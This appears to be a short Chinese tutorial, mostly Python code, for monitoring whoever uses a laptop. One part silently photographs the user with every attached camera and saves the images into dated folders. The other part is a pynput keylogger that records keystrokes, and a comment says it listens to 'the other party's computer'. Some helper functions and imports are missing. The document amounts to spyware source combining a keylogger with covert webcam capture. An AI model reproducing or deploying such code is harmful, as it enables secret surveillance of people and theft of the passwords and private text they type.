一、序

使用Python实现笔记本电脑对使用人的监测，记录下输入的字符与使用人是谁

二、实现代码

摄像头拍照

def show_in_cv(camera_id):
  # 获取当前日期和时间
  setTime()
  DayPaths = SavePath + f'\{formatted_date}'
  fileOrNone(DayPaths)
  datePaths = DayPaths + f'\{formatted_time}'
  fileOrNone(datePaths)

  cap = cv.VideoCapture(camera_id, cv.CAP_DSHOW)
  # cap.set(cv.CAP_PROP_FRAME_WIDTH, 960)
  # cap.set(cv.CAP_PROP_FRAME_HEIGHT, 540)
  # cap.set(cv.CAP_PROP_FPS, 30)
  suc, frame = cap.read()

  # 纯英文路径保存方法
  # cv.imwrite(f'{datePaths}\{camera_id}.jpg', frame)

  # 中文路径保存方法
  cv.imencode('.jpg', frame)[1].tofile(f'{datePaths}\{camera_id}.jpg')
  # 弹窗展示功能
  # cv.imshow("preview camera", frame)
  # cv.waitKey(30)


def cameraMain():
    # cameras = list_video_devices()
    # print(f'\n\n===========================\ncamera_list: {cameras}')
    # print(cameras)
    # idx = 1
    # camera_id = cameras[idx][0]
    # camera_name = cameras[idx][1]
    # print(f'\n\n===========================\npreview camera: camera_id={camera_id} camera_name={camera_name}')
    # show_in_cv(camera_id)

    cameras = list_video_devices()
    for idx in cameras:
        camera_id = idx[0]
        camera_name = idx[1]
        show_in_cv(camera_id)


if __name__ == '__main__':
    cameraMain()

键盘监听

CODE = ""
# 一直监听对方电脑的键盘输入

# 处理键盘输入的数据
def on_release(key):
    global CODE
    try:
        CODE += key.char
        # print(key)
    except Exception as e:
        try:
            if key == key.enter:  # 如果扫码枪中的数据是回车enter按键
                print(CODE)
        except Exception as e:
            CODE = ""


def getCODE():
    return CODE


# 监听键盘扫码枪输入
def returnCode():
    with keyboard.Listener(on_release=on_release) as listener:
        listener.join()


if __name__ == '__main__':
    returnCode()